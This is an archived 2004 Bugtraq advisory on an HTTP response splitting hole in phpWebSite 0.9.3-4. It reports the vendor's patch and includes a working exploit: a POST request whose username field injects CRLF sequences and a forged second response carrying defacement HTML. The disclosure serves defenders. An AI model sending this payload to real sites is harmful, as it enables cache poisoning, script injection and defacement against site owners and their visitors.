bugtraq - security hole (http response splitting) in phpwebsite

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Date: Thu, 11 Nov 2004 14:55:35 -0500
From: "Maestro De-Seguridad" <maestrodeseguridad@...os.com>
To: bugtraq@...urityfocus.com
Subject: security hole (http response splitting) in phpwebsite

ADVISORY

Author: Maestro (me!)

Date: 11-NOV-04

Vendor: Appalachian State University (http://phpwebsite.appstate.edu/)

Product: phpWebSite 0.9.3-4

Product description (from vendor website):
phpWebSite provides a complete web site content management system. Web-based administration allows for easy maintenance of interactive, community-driven web sites.
phpWebSite's growing number of modules allow for easy site customization without the need for unwanted or unused features. Client output from phpWebSite is valid XHTML 1.0 and meets the W3C's Web Accessibility Initiative requirements.
phpWebSite is written in the PHP Programming Language, making it ideal for developers to write customized modules.

Problem: Http response splitting (web cache poisoning, xss, 
yadayadayada) - http://www.packetstormsecurity.org/papers/general/whitepaper_httpresponse.pdf

Exploit:

POST /index.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-length: 218
Connection: Keep-Alive

module=user&norm_user_op=login&block_username=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20Ok%0d%0aContent-Length:%2031%0d%0aContent-Type:%20text/html%0d%0a%0d%0a{html}This site in 0wned{/html}&password=foobar

(replace curly braces with lessthan and greaterthan)

Vendor status: The vendor fixed this problem (11-NOV-04). 
From vendor security mail list:
A security vulnerability was brought to our attention recently and we
have posted a patch to resolve this issue.  The patch can be
downloaded
from here:

http://phpwebsite.appstate.edu/downloads/security/phpwebsite-core-security-patch2.tar.gz
md5sum: fcefda44a8d691c844593d815479a1ce

This patch should only be applied to versions 0.9.3-2 or greater.  All
you need to do is untar the file in the base directory of your
phpwebsite install.

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